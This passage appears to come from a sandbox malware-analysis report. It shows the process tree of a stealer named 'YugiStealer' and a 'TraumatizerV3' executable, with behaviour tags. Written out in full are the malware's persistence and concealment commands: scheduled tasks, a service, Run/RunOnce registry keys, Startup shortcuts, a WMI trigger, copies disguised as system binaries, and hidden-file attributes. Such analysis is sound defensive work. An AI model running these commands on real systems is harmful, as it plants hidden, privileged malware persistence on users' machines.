    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7328
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:8844
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:7632
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:7320
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8428
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:7468
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10596
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:7268
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:10040
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:10360
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10908
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:1724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3928
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:8468
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:6336

C:\Windows\Temp\svchost.exe
"C:\Windows\Temp\svchost.exe"
1⤵
PID:4804
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7348
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7788
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8608
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1056
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6492
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:9204
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7684
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8232
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7844
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1448
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:8972
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest
    3⤵
    PID:10064
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:11024
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:10804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\svchost.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\svchost.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7724
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\svchost.exe\" start= auto"
  2⤵
  PID:11516
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\svchost.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:10076
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f"
  2⤵
  PID:12592
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f
    3⤵
    - Modifies registry key
    PID:13132
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f"
  2⤵
  PID:12572
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\svchost.exe\" /f
    3⤵
    - Modifies registry key
    PID:4244

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4628

C:\Windows\Temp\winlogon.exe
C:\Windows\Temp\winlogon.exe
1⤵
PID:3964
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5660
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:5016
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6516
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6912
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7884
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7504
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7292
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8900
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6472
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8396
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:8604
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest
    3⤵
    PID:4596
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7492
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\winlogon.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\winlogon.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10264
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\winlogon.exe\" start= auto"
  2⤵
  PID:9740
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\winlogon.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:9912
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f"
  2⤵
  PID:9848
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:4780
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f"
  2⤵
  PID:7252
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\winlogon.exe\" /f
    3⤵
    - Modifies registry key
    PID:10088
- C:\Windows\Temp\VyCKdd1g\TraumatizerV3.exe
  "C:\Windows\Temp\VyCKdd1g\TraumatizerV3.exe"
  2⤵
  PID:11448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:11568
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\VyCKdd1g\FartnutsTrauma.vbs
  2⤵
  PID:11976
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:10428
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\VyCKdd1g\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:9320
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4976
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\VyCKdd1g\FartnutsTrauma.vbs"
      4⤵
      PID:12476
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\VyCKdd1g\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:12660
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:12156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:9832
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:12228
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:9624
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:8696
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:9512
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:12396
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:3556
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:12268
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:12220

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1900

C:\Windows\Temp\lsass.exe
C:\Windows\Temp\lsass.exe
1⤵
PID:1540
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5532
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1868
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5216
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:4212
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6576
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6420
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5228
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6780
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2228
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7396
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8080
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7796
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:7964
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onstart /f /rl highest
    3⤵
    PID:8084
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8276
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\lsass.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\lsass.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7328
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto"
  2⤵
  PID:5344
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\lsass.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:8644
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"
  2⤵
  PID:7704
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:6900
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f"
  2⤵
  PID:7008
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\lsass.exe\" /f
    3⤵
    - Modifies registry key
    PID:5692
- C:\Windows\Temp\qaeTreXc\TraumatizerV3.exe
  "C:\Windows\Temp\qaeTreXc\TraumatizerV3.exe"
  2⤵
  PID:9632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:9892
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs
  2⤵
  PID:8768
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:10268
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:8296
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:9736
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:9500
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:8848
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:7128
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:3672
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10564
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:11892
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs"
      4⤵
      PID:580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\qaeTreXc\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:7192
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:8292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:10444
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:9132
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:8336
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:9920
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10300
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:9832
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:4760
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:8704
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:10424
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10488
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:12088
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:12184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:11384
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:11012
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:8168

C:\Users\Public\Documents\services.exe
"C:\Users\Public\Documents\services.exe"
1⤵
PID:1988
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1000
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6124
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7312
- - C:\Windows\system32\schtasks.exe
